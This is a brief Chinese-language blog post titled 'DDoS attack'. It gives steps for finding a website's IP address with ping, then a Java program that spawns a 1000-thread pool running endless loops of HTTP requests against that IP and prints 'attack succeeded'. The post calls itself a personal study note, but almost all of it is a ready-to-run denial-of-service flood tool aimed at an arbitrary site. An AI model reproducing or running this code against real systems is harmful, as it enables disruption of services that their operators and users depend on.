DDOS攻击

注：本博客只是为了自己的学习，记录自己的学习，请勿用于其他途径、

1、win+R-->cmd

2、ping 网站

3、替换IP

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class ddos {
    public static void main(String[] args) {
        //利用线程池创建1000个线程
        ExecutorService es = Executors.newFixedThreadPool(1000);
        for (int i = 0; i < 10000; i++) {
            es.execute(
                    (Runnable) () -> {
                        while (true) {
                            try {
                                URL url = new URL("http://xxx.xxx.xxx.xxx");
                                URLConnection conn = url.openConnection();
                                System.out.println("发包成功！");
                                BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
                                byte[] bytes = new byte[1024];
                                int len = -1;
                                StringBuffer sb = new StringBuffer();

                                if (bis != null) {
                                    if ((len = bis.read()) != -1) {
                                        sb.append(new String(bytes, 0, len));
                                        System.out.println("攻击成功！");
                                        bis.close();
                                    }
                                }
                            } catch (MalformedURLException e) {
                                // TODO Auto-generated catch block
                                e.printStackTrace();
                            } catch (IOException e) {
                                // TODO Auto-generated catch block
                                e.printStackTrace();
                            }
                        }
                    }
            );
        }
    }
}